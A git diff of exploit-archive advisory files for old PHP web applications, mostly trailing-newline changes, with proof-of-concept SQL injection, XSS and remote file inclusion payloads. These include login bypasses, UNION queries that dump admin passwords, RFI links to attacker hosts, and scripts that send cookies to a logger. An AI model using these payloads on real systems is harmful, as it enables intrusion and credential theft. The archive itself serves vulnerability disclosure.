a/platforms/php/webapps/26916.txt +++ b/platforms/php/webapps/26916.txt @@ -6,4 +6,4 @@ Successful exploitation could result in a compromise of the application, disclos The following proof of concept is available: username 'or isnull(1/0) /* -password (no password required) \ No newline at end of file +password (no password required) \ No newline at end of file diff --git a/platforms/php/webapps/26918.txt b/platforms/php/webapps/26918.txt index b2e779ac5..4725594f2 100755 --- a/platforms/php/webapps/26918.txt +++ b/platforms/php/webapps/26918.txt @@ -4,4 +4,4 @@ Plogger is prone to a remote file include vulnerability. An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the Web server process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible. -http://www.example.com/PATH/admin/plog-admin-functions.php?config[basedir]=http://www.example.com/[code] \ No newline at end of file +http://www.example.com/PATH/admin/plog-admin-functions.php?config[basedir]=http://www.example.com/[code] \ No newline at end of file diff --git a/platforms/php/webapps/26919.txt b/platforms/php/webapps/26919.txt index 021bc9c53..d44789efd 100755 --- a/platforms/php/webapps/26919.txt +++ b/platforms/php/webapps/26919.txt @@ -4,4 +4,4 @@ D-Man is prone to a cross-site scripting vulnerability. This issue is due to a f An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. -http://www.example.com/index.php?go=admin&do=do_search&du=usergroup&title=[code]&search=single \ No newline at end of file +http://www.example.com/index.php?go=admin&do=do_search&du=usergroup&title=[code]&search=single \ No newline at end of file diff --git a/platforms/php/webapps/26921.txt b/platforms/php/webapps/26921.txt index 70cf7db9e..f936e0238 100755 --- a/platforms/php/webapps/26921.txt +++ b/platforms/php/webapps/26921.txt @@ -4,4 +4,4 @@ Tolva is prone to a remote file-include vulnerability. An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may help the attacker compromise the application and the underlying system; other attacks are also possible. -http://www.example.com/twebs/modules/misc/usermods.php?ROOT=http://www.example.com \ No newline at end of file +http://www.example.com/twebs/modules/misc/usermods.php?ROOT=http://www.example.com \ No newline at end of file diff --git a/platforms/php/webapps/26923.txt b/platforms/php/webapps/26923.txt index d24983a07..34a38b9b7 100755 --- a/platforms/php/webapps/26923.txt +++ b/platforms/php/webapps/26923.txt @@ -4,4 +4,4 @@ Beehive Forum is prone to multiple HTML injection vulnerabilities. These issues Attacker-supplied HTML and script code would be executed in the context of the affected Web site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit these issues to control how the site is rendered to the user; other attacks are also possible. -<script>document.location.replace='http://www.example.com/cgi-bin/evil_cookie_logger.cgi?'+document.cookie</script> \ No newline at end of file +<script>document.location.replace='http://www.example.com/cgi-bin/evil_cookie_logger.cgi?'+document.cookie</script> \ No newline at end of file diff --git a/platforms/php/webapps/26925.txt b/platforms/php/webapps/26925.txt index e26bc7158..600bbf17e 100755 --- a/platforms/php/webapps/26925.txt +++ b/platforms/php/webapps/26925.txt @@ -5,4 +5,4 @@ papaya CMS is prone to a cross-site scripting vulnerability. This issue is due t An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. Proof of concept is available: -/suche.153.html?bab[page]=6&bab[searchfor]=[XSS] \ No newline at end of file +/suche.153.html?bab[page]=6&bab[searchfor]=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/26939.txt b/platforms/php/webapps/26939.txt index fbd9f4255..e0daaecdb 100755 --- a/platforms/php/webapps/26939.txt +++ b/platforms/php/webapps/26939.txt @@ -11,4 +11,4 @@ http://www.example.com/story/2005/11/4/184932[XSS] http://www.example.com/story/2005/11/4[XSS] http://www.example.com/story/2005/11[XSS] http://www.example.com/story/2005[XSS] -http://www.example.com/story/[XSS] \ No newline at end of file +http://www.example.com/story/[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/26959.txt b/platforms/php/webapps/26959.txt index fc4cbb5e7..b9139a50e 100755 --- a/platforms/php/webapps/26959.txt +++ b/platforms/php/webapps/26959.txt @@ -6,4 +6,4 @@ Successful exploitation could allow an attacker to compromise the application, a These issues affect version 2.1.2; other versions may also be vulnerable. -http://www.example.com/index.php?menuid=[SQL] \ No newline at end of file +http://www.example.com/index.php?menuid=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26960.txt b/platforms/php/webapps/26960.txt index 53c9982c6..75262829d 100755 --- a/platforms/php/webapps/26960.txt +++ b/platforms/php/webapps/26960.txt @@ -6,4 +6,4 @@ Successful exploitation could allow an attacker to compromise the application, a These issues affect version 2.1.2; other versions may also be vulnerable. -http://www.example.com/guestbook.php?menuid=[SQL] \ No newline at end of file +http://www.example.com/guestbook.php?menuid=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26961.txt b/platforms/php/webapps/26961.txt index 0429e57e4..d126ea508 100755 --- a/platforms/php/webapps/26961.txt +++ b/platforms/php/webapps/26961.txt @@ -7,4 +7,4 @@ Successful exploitation could allow an attacker to compromise the application, a These issues affect version 2.1.2; other versions may also be vulnerable. http://www.example.com/print.php?reporeid_print=&forumid=[SQL] -http://www.example.com/print.php?reporeid_print=[SQL] \ No newline at end of file +http://www.example.com/print.php?reporeid_print=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26962.txt b/platforms/php/webapps/26962.txt index 79a11ce3e..6baeee3e0 100755 --- a/platforms/php/webapps/26962.txt +++ b/platforms/php/webapps/26962.txt @@ -6,4 +6,4 @@ Successful exploitation could result in a compromise of the application, disclos This issue affects phpSlash version 0.8.1; other versions may also be vulnerable. -http://www.example.com/article.php?story_id=1[SQL] \ No newline at end of file +http://www.example.com/article.php?story_id=1[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26965.txt b/platforms/php/webapps/26965.txt index ff05e2981..630e85bc1 100755 --- a/platforms/php/webapps/26965.txt +++ b/platforms/php/webapps/26965.txt @@ -6,4 +6,4 @@ Successful exploitation could result in a compromise of the application, disclos This issue affects MusicBox version 2.3; other versions may also be vulnerable. -http://www.example.com/version2.3/?action=top&show=5&type=[sql] \ No newline at end of file +http://www.example.com/version2.3/?action=top&show=5&type=[sql] \ No newline at end of file diff --git a/platforms/php/webapps/26968.txt b/platforms/php/webapps/26968.txt index cc3b01e60..253de65a8 100755 --- a/platforms/php/webapps/26968.txt +++ b/platforms/php/webapps/26968.txt @@ -4,4 +4,4 @@ SyntaxCMS is prone to a cross-site scripting vulnerability. This issue is due to An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -/search/?search_query=[XSS] \ No newline at end of file +/search/?search_query=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/26975.txt b/platforms/php/webapps/26975.txt index 7e9c77b96..bfeca39bc 100755 --- a/platforms/php/webapps/26975.txt +++ b/platforms/php/webapps/26975.txt @@ -4,4 +4,4 @@ Cerberus Helpdesk is prone to multiple cross-site scripting and SQL injection vu The cross-site scripting vulnerability may permit a remote attacker to steal cookie-based authentication credentials from legitimate users. Successful exploitation of SQL injection vulnerabilities could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/cerberus-gui/display_ticket_thread.php?type=comment&sid=a640d024f84be01320aacb0ec6c87d74&ticket=[SQL] \ No newline at end of file +http://www.example.com/cerberus-gui/display_ticket_thread.php?type=comment&sid=a640d024f84be01320aacb0ec6c87d74&ticket=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26978.txt b/platforms/php/webapps/26978.txt index b94787f0c..f6945195e 100755 --- a/platforms/php/webapps/26978.txt +++ b/platforms/php/webapps/26978.txt @@ -10,4 +10,4 @@ http://example.com/[path]/add.php?language[SPECIFY_ZONE]=");}}--></script><scrip http://example.com/[path]/add.php?language[ENTER_ARTICLE_HEADER]=");}}--></script><script>alert(document.cookie)</script> -http://example.com/[path]/add.php?language[ENTER_ARTICLE_BODY]=");}}--></script><script>alert(document.cookie)</script> \ No newline at end of file +http://example.com/[path]/add.php?language[ENTER_ARTICLE_BODY]=");}}--></script><script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/26979.txt b/platforms/php/webapps/26979.txt index ea02594e0..0be4bd5fa 100755 --- a/platforms/php/webapps/26979.txt +++ b/platforms/php/webapps/26979.txt @@ -10,4 +10,4 @@ Merak Mail Server 8.3.0.r and VisNetic MailServer 8.3.0 build 1 are affected by UPDATE (July 30, 2007): Symantec has confirmed that this issue is being actively exploited in the wild. -http://example.com:32000/accounts/inc/include.php?language=0&lang_settings[0][1]=http://[host]/ \ No newline at end of file +http://example.com:32000/accounts/inc/include.php?language=0&lang_settings[0][1]=http://[host]/ \ No newline at end of file diff --git a/platforms/php/webapps/2698.pl b/platforms/php/webapps/2698.pl index d752dde2c..ddcd371ef 100755 --- a/platforms/php/webapps/2698.pl +++ b/platforms/php/webapps/2698.pl @@ -8,7 +8,7 @@ # # d0rk: "2BGal 3.0 - Powered by Ben3w" # -# File inclusion: www.server/<path>/admin/configuration.inc.php?lang=<local/remote file> +# File inclusion: www.site.com/<path>/admin/configuration.inc.php?lang=<local/remote file> # # Shoutz to [Oo], str0ke, th0r and all members of RST # PS: fuck CarcaBot ..another lame romanian guy =)) diff --git a/platforms/php/webapps/26980.txt b/platforms/php/webapps/26980.txt index ba16722cc..bead04e8b 100755 --- a/platforms/php/webapps/26980.txt +++ b/platforms/php/webapps/26980.txt @@ -10,4 +10,4 @@ Merak Mail Server 8.3.0.r and VisNetic MailServer 8.3.0 build 1 are affected by UPDATE (July 30, 2007): Symantec has confirmed that this issue is being actively exploited in the wild. -http://example.com:32000/admin/inc/include.php?language=0&lang_settings[0][1]=http://[host]/ \ No newline at end of file +http://example.com:32000/admin/inc/include.php?language=0&lang_settings[0][1]=http://[host]/ \ No newline at end of file diff --git a/platforms/php/webapps/26981.txt b/platforms/php/webapps/26981.txt index 2f2f06d67..b85a3dfb7 100755 --- a/platforms/php/webapps/26981.txt +++ b/platforms/php/webapps/26981.txt @@ -10,4 +10,4 @@ Merak Mail Server 8.3.0.r and VisNetic MailServer 8.3.0 build 1 are affected by UPDATE (July 30, 2007): Symantec has confirmed that this issue is being actively exploited in the wild. -http://example.com:32000/dir/include.html?lang=[file]%00 \ No newline at end of file +http://example.com:32000/dir/include.html?lang=[file]%00 \ No newline at end of file diff --git a/platforms/php/webapps/26982.txt b/platforms/php/webapps/26982.txt index 7d3f5041d..ca01b38fb 100755 --- a/platforms/php/webapps/26982.txt +++ b/platforms/php/webapps/26982.txt @@ -11,4 +11,4 @@ Merak Mail Server 8.3.0.r and VisNetic MailServer 8.3.0 build 1 are affected by UPDATE (July 30, 2007): Symantec has confirmed that this issue is being actively exploited in the wild. -http://example.com:32000/mail/settings.html?id=[current_id]&Save_x=1&language=TEST \ No newline at end of file +http://example.com:32000/mail/settings.html?id=[current_id]&Save_x=1&language=TEST \ No newline at end of file diff --git a/platforms/php/webapps/26983.txt b/platforms/php/webapps/26983.txt index 14baa3553..1341b0e0a 100755 --- a/platforms/php/webapps/26983.txt +++ b/platforms/php/webapps/26983.txt @@ -11,4 +11,4 @@ Merak Mail Server 8.3.0.r and VisNetic MailServer 8.3.0 build 1 are affected by UPDATE (July 30, 2007): Symantec has confirmed that this issue is being actively exploited in the wild. -http://example.com:32000/mail/index.html?id=[current_id]&lang_settings[TEST]=test;http://[host]/; \ No newline at end of file +http://example.com:32000/mail/index.html?id=[current_id]&lang_settings[TEST]=test;http://[host]/; \ No newline at end of file diff --git a/platforms/php/webapps/26984.txt b/platforms/php/webapps/26984.txt index 2809f6276..29a721f9a 100755 --- a/platforms/php/webapps/26984.txt +++ b/platforms/php/webapps/26984.txt @@ -10,4 +10,4 @@ Merak Mail Server 8.3.0.r and VisNetic MailServer 8.3.0 build 1 are affected by UPDATE (July 30, 2007): Symantec has confirmed that this issue is being actively exploited in the wild. -http://example.com:32000/mail/index.html?/mail/index.html?default_layout=OUTLOOK2003&layout_settings[OUTLOOK2003]=test;[file]%00;2 \ No newline at end of file +http://example.com:32000/mail/index.html?/mail/index.html?default_layout=OUTLOOK2003&layout_settings[OUTLOOK2003]=test;[file]%00;2 \ No newline at end of file diff --git a/platforms/php/webapps/26988.txt b/platforms/php/webapps/26988.txt index 0fc0a45cd..f99783c53 100755 --- a/platforms/php/webapps/26988.txt +++ b/platforms/php/webapps/26988.txt @@ -9,4 +9,4 @@ Attacker-supplied HTML and script code would be able to access properties of the Koobi 5 is reportedly prone to this vulnerability. [color=#EFEFEF][url]www.ut[url=www.s=''style='font-size:0;color:#EFEFEF'style='top:expression(eval(this.sss));'sss=`i=new/**/Image();i.src='http://mysite/cookies.php? -c='+document.cookie;this.sss=null`style='font-size:0;][/url][/url]'[/color] \ No newline at end of file +c='+document.cookie;this.sss=null`style='font-size:0;][/url][/url]'[/color] \ No newline at end of file diff --git a/platforms/php/webapps/26989.txt b/platforms/php/webapps/26989.txt index 03c19a0a2..80eb906b6 100755 --- a/platforms/php/webapps/26989.txt +++ b/platforms/php/webapps/26989.txt @@ -7,4 +7,4 @@ An attacker may leverage this issue to have arbitrary script code executed in th GMailSite 1.0.4 and prior versions are affected by this issue. GFHost 0.4.2 and prior versions are also vulnerable. http://www.example.com/?lng=es"><script>alert(document.cookie)</script> -http://www.example.com/index.php?lng=es"><script>alert(document.cookie)</script> \ No newline at end of file +http://www.example.com/index.php?lng=es"><script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/26990.txt b/platforms/php/webapps/26990.txt index 01f574ba8..9f67f821f 100755 --- a/platforms/php/webapps/26990.txt +++ b/platforms/php/webapps/26990.txt @@ -8,4 +8,4 @@ Successful exploitation can allow an attacker to bypass authentication and gain MyBB 1.0 is reportedly vulnerable. -string expcookie="imei'" //garbrage field that actually is not an uid + an inject sign +" union select '1' as uid," //return no admin union our sniffed admin +" '','','','xxx'as loginkey ,"//we have not any info! so null them; only login key cheked that we fill with xxx +" '','','','',"//null fields befor usergroup +" 4 as usergroup";// ok! our sniffed admin is an admin : D !! for (int i=0;i< 49;i++) expcookie+=",''"; //null all of other fields!expcookie+="-- imei" // remark rest of SQL +"_xxx" ; \ No newline at end of file +string expcookie="imei'" //garbrage field that actually is not an uid + an inject sign +" union select '1' as uid," //return no admin union our sniffed admin +" '','','','xxx'as loginkey ,"//we have not any info! so null them; only login key cheked that we fill with xxx +" '','','','',"//null fields befor usergroup +" 4 as usergroup";// ok! our sniffed admin is an admin : D !! for (int i=0;i< 49;i++) expcookie+=",''"; //null all of other fields!expcookie+="-- imei" // remark rest of SQL +"_xxx" ; \ No newline at end of file diff --git a/platforms/php/webapps/26992.txt b/platforms/php/webapps/26992.txt index b0f30a3c3..45ab06eae 100755 --- a/platforms/php/webapps/26992.txt +++ b/platforms/php/webapps/26992.txt @@ -4,4 +4,4 @@ Ades Design AdesGuestbook is prone to a cross-site scripting vulnerability becau An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. -/read.php?pageNum_rsRead=1&totalRows_rsRead=[XSS] \ No newline at end of file +/read.php?pageNum_rsRead=1&totalRows_rsRead=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/26994.txt b/platforms/php/webapps/26994.txt index ea9b6149f..aad13d578 100755 --- a/platforms/php/webapps/26994.txt +++ b/platforms/php/webapps/26994.txt @@ -7,4 +7,4 @@ An attacker may leverage these issues to have arbitrary script code executed in These issues affect versions 3.00.26 and prior. http://www.example.com/index.php?_m=downloads&_a=view& -parentcategoryid=3&pcid=1&nav=[XSS] \ No newline at end of file +parentcategoryid=3&pcid=1&nav=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/26995.txt b/platforms/php/webapps/26995.txt index b2af674e4..5de491fb2 100755 --- a/platforms/php/webapps/26995.txt +++ b/platforms/php/webapps/26995.txt @@ -4,4 +4,4 @@ phpDocumentor is prone to a cross-site scripting vulnerability. This issue is du An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/[path]/Documentation/tests/bug-559668.php?FORUM[LIB]=<script>alert(document.cookie)</script> \ No newline at end of file +http://www.example.com/[path]/Documentation/tests/bug-559668.php?FORUM[LIB]=<script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/26998.txt b/platforms/php/webapps/26998.txt index 0f09f73b3..4d31910d5 100755 --- a/platforms/php/webapps/26998.txt +++ b/platforms/php/webapps/26998.txt @@ -4,4 +4,4 @@ The oaBoard application is prone to a remote file-include vulnerability. As a re This could result in the execution of arbitrary PHP code in the context of the webserver hosting the application. -http://oaboard.example.com/oaboard_en/forum.php?inc=http://attacker.example.com/code.php \ No newline at end of file +http://oaboard.example.com/oaboard_en/forum.php?inc=http://attacker.example.com/code.php \ No newline at end of file diff --git a/platforms/php/webapps/26999.txt b/platforms/php/webapps/26999.txt index dd0154926..26555dcdb 100755 --- a/platforms/php/webapps/26999.txt +++ b/platforms/php/webapps/26999.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/16106/info phpBook is prone to a vulnerability that may let remote attackers inject arbitrary PHP code into the application. This code may then be executed by visiting pages that include the injected code. -E-mail field: qwe@<? anyphpcode(); ?>.com \ No newline at end of file +E-mail field: qwe@<? anyphpcode(); ?>.com \ No newline at end of file diff --git a/platforms/php/webapps/27000.txt b/platforms/php/webapps/27000.txt index 2a3528838..e0dfa9980 100755 --- a/platforms/php/webapps/27000.txt +++ b/platforms/php/webapps/27000.txt @@ -17,4 +17,4 @@ For version 1.26: http://www.example.com/webforum/index.php? theme_id=-1% 20union%20select% 201,2,name, 4,5%20from% 20vwf_users% 20where%20userid=1/* Earlier versions: -http://www.example.com/temp/_1/webforum/index.php? theme_id=-1% 20union%20select% 201,2,pass, 4%20from%20vwf_users% 20where%20userid=1/* \ No newline at end of file +http://www.example.com/temp/_1/webforum/index.php? theme_id=-1% 20union%20select% 201,2,pass, 4%20from%20vwf_users% 20where%20userid=1/* \ No newline at end of file diff --git a/platforms/php/webapps/27001.txt b/platforms/php/webapps/27001.txt index 1c8b6aff8..85af630a1 100755 --- a/platforms/php/webapps/27001.txt +++ b/platforms/php/webapps/27001.txt @@ -7,4 +7,4 @@ Successful exploitation could result in a compromise of the application, disclos http://www.example.com/links/login.php username: a' or 'a'='a'/* -password: anypassword \ No newline at end of file +password: anypassword \ No newline at end of file diff --git a/platforms/php/webapps/27002.txt b/platforms/php/webapps/27002.txt index 7a4b97546..71b8dedad 100755 --- a/platforms/php/webapps/27002.txt +++ b/platforms/php/webapps/27002.txt @@ -4,4 +4,4 @@ Jevontech PHPenpals is prone to an SQL injection vulnerability. This issue is du Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/phpenpals/profile.php?personalID=999%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,password,14%20from%20admin/* \ No newline at end of file +http://www.example.com/phpenpals/profile.php?personalID=999%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,password,14%20from%20admin/* \ No newline at end of file diff --git a/platforms/php/webapps/27003.txt b/platforms/php/webapps/27003.txt index 1f08dd95d..f58ab3088 100755 --- a/platforms/php/webapps/27003.txt +++ b/platforms/php/webapps/27003.txt @@ -7,4 +7,4 @@ Successful exploitation could result in a compromise of the application, disclos http://www.example.com/index.php username: a' or 'a'='a'/* -password: anypassword \ No newline at end of file +password: anypassword \ No newline at end of file diff --git a/platforms/php/webapps/27004.txt b/platforms/php/webapps/27004.txt index b7d1b1989..913e101c1 100755 --- a/platforms/php/webapps/27004.txt +++ b/platforms/php/webapps/27004.txt @@ -4,4 +4,4 @@ PHPjournaler is prone to an SQL injection vulnerability. This issue is due to a Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/phpjournaler/index.php?readold=999%20union%20select%201,password,3,4,name,6%20from%20Users/* \ No newline at end of file +http://www.example.com/phpjournaler/index.php?readold=999%20union%20select%201,password,3,4,name,6%20from%20Users/* \ No newline at end of file diff --git a/platforms/php/webapps/27015.txt b/platforms/php/webapps/27015.txt index 99132a02c..093c0934a 100755 --- a/platforms/php/webapps/27015.txt +++ b/platforms/php/webapps/27015.txt @@ -7,4 +7,4 @@ Attacker-supplied HTML and script code would be executed in the context of the a Add an entry form: http://www.example.com/guestbook/addentry.php -Homepage value: '></a><script>alert(123);</script> \ No newline at end of file +Homepage value: '></a><script>alert(123);</script> \ No newline at end of file diff --git a/platforms/php/webapps/27017.txt b/platforms/php/webapps/27017.txt index 27998eb67..2000dfd60 100755 --- a/platforms/php/webapps/27017.txt +++ b/platforms/php/webapps/27017.txt @@ -4,4 +4,4 @@ Chimera Web Portal is prone to multiple input validation vulnerabilities. The is Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks. -http://www.example.com/chimera/linkcategory.php?id=9999'%20union%20select%20admin_password%20from%20admin/* \ No newline at end of file +http://www.example.com/chimera/linkcategory.php?id=9999'%20union%20select%20admin_password%20from%20admin/* \ No newline at end of file diff --git a/platforms/php/webapps/27018.txt b/platforms/php/webapps/27018.txt index c3e4165e8..3ca552842 100755 --- a/platforms/php/webapps/27018.txt +++ b/platforms/php/webapps/27018.txt @@ -7,4 +7,4 @@ Successful exploitation could result in a compromise of the application, disclos http://www.example.com/auth.php username: a' or 'a'='a'/* -password: anypassword \ No newline at end of file +password: anypassword \ No newline at end of file diff --git a/platforms/php/webapps/27019.txt b/platforms/php/webapps/27019.txt index 96205ad6a..e0837e29c 100755 --- a/platforms/php/webapps/27019.txt +++ b/platforms/php/webapps/27019.txt @@ -8,4 +8,4 @@ This issue is reported to affect vBulletin 3.5.2. Earlier versions may also be a The following example was provided as Event Title input: -TITLE:--------->Test<script>alert(document.cookie)</script> \ No newline at end of file +TITLE:--------->Test<script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/27022.txt b/platforms/php/webapps/27022.txt index a1cbba426..3550e736d 100755 --- a/platforms/php/webapps/27022.txt +++ b/platforms/php/webapps/27022.txt @@ -10,4 +10,4 @@ http://www.example.com/index.php?view=DevelopmentItemResultsView&devWherePair http://www.example.com/index.php?view=DevelopmentItemResultsView&where=project _id+%3D+%3F&orderBy=[SQL] -http://www.example.com/index.php?view=DevelopmentItemResultsView&where=[SQL] \ No newline at end of file +http://www.example.com/index.php?view=DevelopmentItemResultsView&where=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/27025.txt b/platforms/php/webapps/27025.txt index 9a9f99022..69d512b1b 100755 --- a/platforms/php/webapps/27025.txt +++ b/platforms/php/webapps/27025.txt @@ -7,4 +7,4 @@ Successful exploitation could result in a compromise of the application, disclos Version 1.0 and prior are affected; other versions may also be vulnerable. http://www.example.com/user.php?email=[SQL]&action=send-password-now -http://www.example.com/search.php?action=search&q=[SQL] \ No newline at end of file +http://www.example.com/search.php?action=search&q=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/27027.txt b/platforms/php/webapps/27027.txt index 8e45b872b..85b22604c 100755 --- a/platforms/php/webapps/27027.txt +++ b/platforms/php/webapps/27027.txt @@ -6,4 +6,4 @@ Successful exploitation could result in a compromise of the application, disclos Version 1.34 and prior are affected; other versions may also be vulnerable. -http://www.example.com/jax_calendar.php?Y=2005&m=11&d=15&cal_id=[SQL] \ No newline at end of file +http://www.example.com/jax_calendar.php?Y=2005&m=11&d=15&cal_id=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/27028.txt b/platforms/php/webapps/27028.txt index af91ad6d1..85e4b1b4b 100755 --- a/platforms/php/webapps/27028.txt +++ b/platforms/php/webapps/27028.txt @@ -5,4 +5,4 @@ LogicBill is prone to multiple SQL injection vulnerabilities. These issues are d Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. http://www.example.com/helpdesk.php?__mode=[SQL] -http://www.example.com/helpdesk.php?__mode=view&__id=[SQL] \ No newline at end of file +http://www.example.com/helpdesk.php?__mode=view&__id=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/27029.txt b/platforms/php/webapps/27029.txt index 1b86c3b3b..4df834f75 100755 --- a/platforms/php/webapps/27029.txt +++ b/platforms/php/webapps/27029.txt @@ -4,4 +4,4 @@ EZI is prone to an SQL injection vulnerability. This issue is due to a failure i Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/ezi/invoices.php?i=[SQL] \ No newline at end of file +http://www.example.com/ezi/invoices.php?i=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/2703.txt b/platforms/php/webapps/2703.txt index c2d91c97c..564d7c4ca 100755 --- a/platforms/php/webapps/2703.txt +++ b/platforms/php/webapps/2703.txt @@ -22,7 +22,7 @@ - Exploit: -http://[target]/[path]/volume.php?config[public_dir]=http://evilserver/shell? +http://[target]/[path]/volume.php?config[public_dir]=http://evilsite.com/shell? ------------------------------------------------------------------------------------------------------------------ diff --git a/platforms/php/webapps/27030.txt b/platforms/php/webapps/27030.txt index 61f4a84fb..90baea8d6 100755 --- a/platforms/php/webapps/27030.txt +++ b/platforms/php/webapps/27030.txt @@ -5,4 +5,4 @@ CS-Cart is prone to multiple SQL injection vulnerabilities. These issues are due Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. http://www.example.com/index.php?target=products&mode=search&subcats=Y&type=extended&avail=Y&pshor=Y&pfull=Y&pname=Y&cid=0&q=&x=11&y=3&sort_by=[SQL] -http://www.example.com/index.php?target=products&mode=search&subcats=Y&type=extended&avail=Y&pshor=Y&pfull=Y&pname=Y&cid=0&q=%27&x=11&y=3&sort_by=product&sort_order=[SQL] \ No newline at end of file +http://www.example.com/index.php?target=products&mode=search&subcats=Y&type=extended&avail=Y&pshor=Y&pfull=Y&pname=Y&cid=0&q=%27&x=11&y=3&sort_by=product&sort_order=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/27033.txt b/platforms/php/webapps/27033.txt index b8d48f741..b1a2bbd81 100755 --- a/platforms/php/webapps/27033.txt +++ b/platforms/php/webapps/27033.txt @@ -7,4 +7,4 @@ Successful exploitation of these vulnerabilities could result in a compromise of Foro Domus version 2.10 is vulnerable to these issues; other versions may also be affected. An example URI exploiting the cross-site scripting issue was provided: -http://www.example.com/domus/escribir.php?domus=ae29cf4d3f2dc42241e387d39b4126e2&hilo=1&padre=1&categoria=General&n=&usario=username&email=e@\';%20alert(123);%20var%20dss=\'h.co&asunto=blabla&texto=anytext&accion=enviar \ No newline at end of file +http://www.example.com/domus/escribir.php?domus=ae29cf4d3f2dc42241e387d39b4126e2&hilo=1&padre=1&categoria=General&n=&usario=username&email=e@\';%20alert(123);%20var%20dss=\'h.co&asunto=blabla&texto=anytext&accion=enviar \ No newline at end of file diff --git a/platforms/php/webapps/27037.txt b/platforms/php/webapps/27037.txt index 2d950b8a3..b6ce10836 100755 --- a/platforms/php/webapps/27037.txt +++ b/platforms/php/webapps/27037.txt @@ -12,4 +12,4 @@ Password: anypassword Get user's password hash example (SQL Injection): http://www.example.com/twf/login.php User Name: a' union select N,password, 3 from users/* -User name will contain password's hash of user with ID=N \ No newline at end of file +User name will contain password's hash of user with ID=N \ No newline at end of file diff --git a/platforms/php/webapps/27048.txt b/platforms/php/webapps/27048.txt index fdc38aab4..82750bea2 100755 --- a/platforms/php/webapps/27048.txt +++ b/platforms/php/webapps/27048.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to execute arbitrary remote PHP code on an af This issue affects version 2.4.5; other versions may also be vulnerable. -http://www.example.com/appserv/main.php?appserv_root=http://www.example.com/ \ No newline at end of file +http://www.example.com/appserv/main.php?appserv_root=http://www.example.com/ \ No newline at end of file diff --git a/platforms/php/webapps/27052.txt b/platforms/php/webapps/27052.txt index 5e262e20d..916dcb421 100755 --- a/platforms/php/webapps/27052.txt +++ b/platforms/php/webapps/27052.txt @@ -6,4 +6,4 @@ Successful exploitation could result in a compromise of the application, disclos This issue affects versions 2.2 and 2.2.1; other versions may also be vulnerable. -http://www.example.com/bb427/showthread.php?ForumID=999%20union%20select%20UserName,Passwrod,null,null%20from%20prefPersonal \ No newline at end of file +http://www.example.com/bb427/showthread.php?ForumID=999%20union%20select%20UserName,Passwrod,null,null%20from%20prefPersonal \ No newline at end of file diff --git a/platforms/php/webapps/27053.txt b/platforms/php/webapps/27053.txt index 478b050bd..2b393b466 100755 --- a/platforms/php/webapps/27053.txt +++ b/platforms/php/webapps/27053.txt @@ -4,4 +4,4 @@ Venom Board is prone to multiple SQL injection vulnerabilities. These issues are Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/venomboard/forum/post.php3?topic_id=999%20union%20select%201,2,3,4,5,6,7/* \ No newline at end of file +http://www.example.com/venomboard/forum/post.php3?topic_id=999%20union%20select%201,2,3,4,5,6,7/* \ No newline at end of file diff --git a/platforms/php/webapps/27054.txt b/platforms/php/webapps/27054.txt index 0bf3998b6..9fdc7c421 100755 --- a/platforms/php/webapps/27054.txt +++ b/platforms/php/webapps/27054.txt @@ -9,4 +9,4 @@ This issue affects version 2.2 and 2.2.1; other versions may also be vulnerable. The following demonstrates cookie-data sufficient to exploit this issue: username=admin; authenticated=1; -usertype=admin; \ No newline at end of file +usertype=admin; \ No newline at end of file diff --git a/platforms/php/webapps/27058.txt 